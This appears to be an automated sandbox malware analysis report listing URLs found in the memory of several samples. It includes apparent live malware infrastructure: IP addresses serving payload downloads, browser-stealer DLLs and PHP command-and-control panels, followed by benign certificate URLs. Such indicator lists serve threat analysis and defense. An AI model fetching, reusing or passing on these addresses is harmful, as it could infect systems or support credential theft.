Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe.T
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exehp~
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exen
Source: file.exe, 00000000.00000002.2627096848.0000000000374000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2628818286.000000000113E000.00000004.00000020.00020000.00000000.sdmp, 8b4f365c71.exe, 00000017.00000002.3313122843.0000000000D7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 8b4f365c71.exe, 00000017.00000002.3313122843.0000000000D7E000.00000004.00000020.00020000.00000000.sdmp, 8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dlldK
Source: file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll6J
Source: file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllUI))
Source: file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllfI
Source: file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllLJ
Source: file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllPJ#)
Source: file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllBJ1)
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6gG
Source: file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/?:
Source: 8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Local
Source: file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/V:y)
Source: 8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 8b4f365c71.exe, 00000017.00000002.3313122843.0000000000D7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1
Source: 8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php8
Source: 8b4f365c71.exe, 00000017.00000002.3313122843.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php8rD
Source: file.exe, 00000000.00000002.2636807499.000000000BC71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php:
Source: file.exe, 00000000.00000002.2628818286.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpBrowser
Source: file.exe, 00000000.00000002.2627096848.00000000003BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe6a2f3a261ad2f76be286afe8d11xtension
Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpx
Source: file.exe, 00000000.00000002.2627096848.00000000003BC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2628818286.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206m
Source: skotes.exe, 00000011.00000002.3327175551.00000000012E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000011.00000002.3327175551.00000000012E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phps
Source: skotes.exe, 00000011.00000002.3327175551.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3327175551.00000000012CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/7993434781/ziNGMDa.exe
Source: skotes.exe, 00000011.00000002.3327175551.00000000012CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/7993434781/ziNGMDa.exeshqos.dll
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exenB&
Source: eb02f9ad86.exe, 00000015.00000002.3325367027.0000000001069000.00000004.00000020.00020000.00000000.sdmp, eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/
Source: eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp
Source: eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empU
Source: eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empry
Source: eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/download
Source: eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/downloadZ
Source: eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/downloadwsock.dll.mui
Source: eb02f9ad86.exe, 00000015.00000002.3325367027.0000000001069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key
Source: eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005451000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download
Source: eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005461000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download0/files/downloadMicrosoft
Source: eb02f9ad86.exe, 00000015.00000003.3280367366.000000000594D000.00000004.00000020.00020000.00000000.sdmp, eb02f9ad86.exe, 00000015.00000003.3254870536.000000000594D000.00000004.00000020.00020000.00000000.sdmp, eb02f9ad86.exe, 00000015.00000003.3305558224.000000000594D000.00000004.00000020.00020000.00000000.sdmp, eb02f9ad86.exe, 00000015.00000002.3334746183.000000000594E000.00000004.00000020.00020000.00000000.sdmp, eb02f9ad86.exe, 00000015.00000003.3229571006.000000000594D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download6
Source: eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005461000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download7tG
Source: eb02f9ad86.exe, 00000015.00000002.3325367027.0000000001069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadE
Source: eb02f9ad86.exe, 00000015.00000002.3333384912.0000000005461000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadOu
Source: eb02f9ad86.exe, 00000015.00000002.3325367027.0000000001069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadf
Source: eb02f9ad86.exe, 00000015.00000003.3305558224.000000000594D000.00000004.00000020.00020000.00000000.sdmp, eb02f9ad86.exe, 00000015.00000002.3334746183.000000000594E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadj
Source: eb02f9ad86.exe, 00000015.00000002.3325367027.0000000001069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadl
Source: eb02f9ad86.exe, 00000015.00000002.3325367027.0000000001069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadlZ
Source: eb02f9ad86.exe, 00000015.00000002.3325367027.0000000001069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadlr
Source: eb02f9ad86.exe, 00000015.00000002.3325367027.0000000001069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadstem32
Source: eb02f9ad86.exe, 00000015.00000003.3305558224.000000000594D000.00000004.00000020.00020000.00000000.sdmp, eb02f9ad86.exe, 00000015.00000002.3334746183.000000000594E000.00000004.00000020.00020000.00000000.sdmp, eb02f9ad86.exe, 00000015.00000002.3325367027.0000000001069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadx
Source: eb02f9ad86.exe, 00000015.00000003.3305558224.000000000594D000.00000004.00000020.00020000.00000000.sdmp, eb02f9ad86.exe, 00000015.00000002.3334746183.000000000594E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download~
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CC0B000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 0eb65aaf2f.exe, 00000016.00000003.3293379487.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 0eb65aaf2f.exe, 00000016.00000003.3293379487.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, libssl-1_1.dll.18.dr, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, _asyncio.pyd.18.dr, _multiprocessing.pyd.18.dr, _queue.pyd.18.dr, _lzma.pyd.18.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CC0B000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, _asyncio.pyd.18.dr, _multiprocessing.pyd.18.dr, _queue.pyd.18.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: skotes.exe, 00000011.00000002.3327175551.0000000001319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: 0eb65aaf2f.exe, 00000016.00000003.3293379487.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digi
Source: ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digiV
Source: ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAss
Source: ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssj
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: ziNGMDa.exe, 00000012.00000003.2993753417.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, libssl-1_1.dll.18.dr, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2995633086.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CC0B000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992848082.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: 0eb65aaf2f.exe, 00000016.00000003.3293379487.00000000056CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 0eb65aaf2f.exe, 00000016.00000003.3293379487.00000000056CD000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: ziNGMDa.exe, 00000012.00000003.2991745096.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991175469.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CC07000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991866726.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003260519.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2996946480.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990532807.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991502232.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991319328.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992037319.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2991624033.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990249914.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3002279999.000001F69CBFE000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2992203303.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990711149.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.2990131940.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp, ziNGMDa.exe, 00000012.00000003.3003539397.000001F69CC05000.00000004.00000020.00020000.00000000.sdmp, 